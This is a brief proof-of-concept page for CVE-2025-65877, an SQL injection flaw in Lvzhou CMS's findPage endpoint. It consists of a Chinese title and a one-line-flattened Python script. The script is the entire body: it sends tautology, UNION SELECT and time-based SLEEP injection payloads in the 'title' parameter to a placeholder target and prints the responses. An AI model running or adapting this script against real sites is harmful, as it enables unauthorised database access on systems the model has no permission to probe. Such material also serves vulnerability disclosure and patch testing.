CVE-2025-65877 Lvzhou CMS findPage SQL注入漏洞

import requests # CVE-2025-65877 Lvzhou CMS SQL Injection PoC # Target: Lvzhou CMS < commit c4ea0eb9cab5f6739b2c87e77d9ef304017ed615 # Vulnerability: SQL Injection in ContentService#findPage via 'title' parameter target_url = "http://target.com/api/content/findPage" # Basic SQL injection test - trigger error or time-based blind injection payloads = [ "test' OR '1'='1", "test' UNION SELECT NULL--", "test' AND SLEEP(5)--" ] for payload in payloads: params = {"title": payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:200]}") print("---") except requests.exceptions.RequestException as e: print(f"Error: {e}")